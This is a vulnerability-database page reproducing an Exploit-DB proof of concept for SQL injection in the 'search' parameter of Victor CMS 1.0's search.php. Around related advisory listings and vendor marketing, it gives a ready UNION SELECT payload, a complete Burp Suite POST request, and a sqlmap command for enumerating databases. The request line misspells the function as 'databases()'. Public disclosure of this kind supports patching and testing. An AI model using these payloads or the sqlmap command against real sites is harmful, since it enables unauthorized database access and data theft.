Lucene search
+L

Victor CMS 1.0 - 'Search' SQL Injection (SQLi)

🗓️ 06 Aug 2020 00:00:00Reported by screetsecType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 313 Views

Victor CMS 1.0 'Search' SQL Injection vulnerability on search.ph

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2020-29280
3 Dec 202000:55
–circl
cnnvd
CNNVD
Victor CMS SQL injection vulnerability
2 Dec 202000:00
–cnnvd
cnvd
CNVD
Victor CMS SQL Injection Vulnerability (CNVD-2020-68864)
3 Dec 202000:00
–cnvd
cve
CVE
CVE-2020-29280
2 Dec 202021:08
–cve
cvelist
Cvelist
CVE-2020-29280
2 Dec 202021:08
–cvelist
euvd
EUVD
EUVD-2020-21655
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2020-29280
2 Dec 202022:15
–nvd
osv_cve
osv_cve
CVE-2020-29280
2 Dec 202022:15
–osv_cve
prion
Prion
Sql injection
2 Dec 202022:15
–prion
ptsecurity
Positive Technologies
PT-2020-17130
2 Dec 202000:00
–ptsecurity
Rows per page
# Exploit Title: Victor CMS 1.0 - 'Search' SQL Injection
# Date: 2020-08-04
# Exploit Author: Edo Maland
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: XAMPP / Windows 10

-------------------------------------------------------------------------------------------------------------------------------------
# Discription:
# The Victor CMS v1.0 application is vulnerable to SQL injection via the 'search' parameter on the search.php page.

# Feature: Search
# Vulnerable file: search.php
# Vulnerable parameter :
	- search
# PoC

Url : http://example.com/CMSsite/search.php
Methode : Post (search="[SQLi]"&submit)

Payload : 1337'union+select+1,2,version(),database(),5,6,7,8,9,10 -- -

# Burpsuite Requests

POST /CMSsite/search.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Origin: http://example.com
Connection: close
Referer: http://example.com/CMSsite/search.php
Cookie: PHPSESSID=lu0nb6l63bleu39pbjf5a954p9
Upgrade-Insecure-Requests: 1

search=1337'union+select+1,2,version(),databases(),5,6,7,8,9,10%20--%20-&submit=

# Sqlmap Command

sqlmap -u "http://example.com/CMSsite/search.php" --data="search=1337*&submit=" --dbs --random-agent -v 3

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation